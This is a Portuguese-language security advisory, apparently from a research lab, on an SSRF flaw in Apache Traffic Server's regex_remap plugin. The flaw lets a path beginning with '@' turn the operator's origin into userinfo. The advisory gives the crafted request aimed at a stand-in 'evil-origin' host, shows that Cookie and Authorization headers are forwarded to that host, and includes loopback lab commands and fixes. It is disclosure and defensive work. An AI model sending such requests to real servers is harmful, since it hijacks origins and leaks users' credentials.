
Apache Traffic Server 10.2.0 - Alta - Remoto - SSRF - regex_remap noslash $n userinfo tomada de controle de origem
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · ats-regex-remap-userinfo
Classe: SSRF Alcance: Remoto
Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation
A substituição $n do regex_remap é concatenada em uma string e passada para TSUrlParse, que executa url_clear e então a analisa como uma URL completa. Uma captura que começa com @ é userinfo segundo a RFC 3986, portanto a origem do operador torna-se userinfo e o host do atacante torna-se a origem. Cookie e Authorization são encaminhados como o uid do ATS.
O restante é http://origin:port$1 (sem barra). O documentado http://origin/$1 permanece na origem do operador porque a barra encerra a authority. Plugin não carregado por padrão.
Isto não é a CVE-2026-58179 (VLA de url_len, agora LocalBuffer) nem a CVE-2026-22068 (o regex_map do núcleo é totalmente ancorado).
| ID | ainda sem CVE |
| Classe | SSRF |
| Alcance | Remoto (HTTP não autenticado) |
| CWE | CWE-918 |
| CVSS | Alto: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Produto | Apache Traffic Server |
| Afetado | 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so $n sem barra |
| Autenticação | nenhuma. Plugin carregado. Subst http://origin:port$1. |
| Licença | GNU Affero GPL v3.0 |
| Lab | apenas 127.0.0.1:18730. Imagem ats-10.2.0-lab:local. |
Fixe a tag 10.2.0, commit b1df7334b39a878971c376da849e8da4984918b6. Imagem compilada a partir do código-fonte.
HTTP não autenticado para um vhost cujo remap carrega regex_remap.so com $n imediatamente após host:port, sem barra.
| Método | Sink | Privilégio |
|---|---|---|
GET /@evil-origin:8080/x com subst http://good-origin:8080$1 | TSUrlParse após url_clear (regex_remap.cc:1159-1168, URL.cc:1313-1327) | Integridade / SSRF (comprovado em lab): o ATS disca evil-origin:8080 como origem (userinfo=good-origin:8080). Cookie e Authorization encaminhados. |
| O mesmo | corpo da origem do atacante | Recon (comprovado em lab): ATS-REGEX-REMAP-USERINFO-WITNESS retornado ao cliente. cookie-fwd=True authorization-fwd=True. |
Subst documentada http://good-origin:8080/$1 | authority termina em / | Fechado (comprovado em lab): permaneceu em good-origin. |
Subst http://$1 | operador colocou $n na authority | SSRF (comprovado em lab): também alcançou evil-origin. Erro de operador diferente. |
Comprovado em lab vs inferido: restante sem barra, documentado com barra permanece, dollar-at / dollar-host também evil, Cookie e Authorization encaminhados, controle /ok em good-origin: lab. O que a origem do atacante pode fazer com esses cabeçalhos é o que aquele host já é.
Requer: plugin regex_remap. Mapa com subst http://origin:port$1 (sem barra). remap_required permaneceu 1 (não é um open relay).
| Superfície | Lab |
|---|---|
Documentado http://origin/$1 | slash=good |
Host do regex_map do núcleo | RE_ANCHORED|RE_ENDANCHORED (CVE-2026-22068 fechada) |
| Pilha de url_len | LocalBuffer (CVE-2026-58179 fechada) |
Open relay com remap_required: 0 | não usado |
GET de CONTROLE /ok | good-origin, sem witness |
regex_remap constrói uma string de destino a partir de $n e chama TSUrlParse sobre o conjunto inteiro. URL.cc @ é userinfo. Concatene http://good-origin:8080 + @evil-origin:8080/x e o parser faz exatamente o que a RFC 3986 diz.
Tentei primeiro a forma documentada. http://good-origin:8080/$1 com caminho /@evil-origin:8080/x torna-se http://good-origin:8080/@evil-origin:8080/x. A barra encerra a authority. Permaneceu em good-origin. Esse não é o resíduo.
Depois http://good-origin:8080$1 (sem barra). Destino http://good-origin:8080@evil-origin:8080/x. userinfo=good-origin:8080 host=evil-origin. Testemunho na origem maliciosa. Cookie e Authorization vieram junto.
Caminhos errados: registar a forma documentada com barra; tratar o core regex_map como este plugin; inflar a VLA url_len (corrigido); tratar http://$1 como o único resíduo (é um segundo erro de operador, não o do sem-barra).
Encenação: uma reverse shell. O oráculo é um corpo de origem mais Cookie / Authorization encaminhados.
python3 ats-regex-remap-userinfo-Abraxas-Labs.py
ou
cd lab
./run.sh
Loopback 127.0.0.1:18730 (origem maliciosa também publicada em 18731). Projeto Compose ats-regex-remap-userinfo. Imagem ats-10.2.0-lab:local. Três vhosts: slash / noslash / dollar. Testemunha ATS-REGEX-REMAP-USERINFO-WITNESS. Última linha:
SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS
Não concatene $n na authority. Mantenha uma barra entre o host e a captura, ou analise a substituição como apenas caminho. Rejeite um destino cujo host não seja a origem do operador. Remova o userinfo das URLs construídas pelo plugin. A documentação deve parar de sugerir que http://origin/$1 é a única forma que os operadores escrevem.
b1df7334b39a878971c376da849e8da4984918b6)regex_remap.cc TSUrlParse após a substituiçãoURL.cc @ userinfoInkAPI.cc TSUrlParse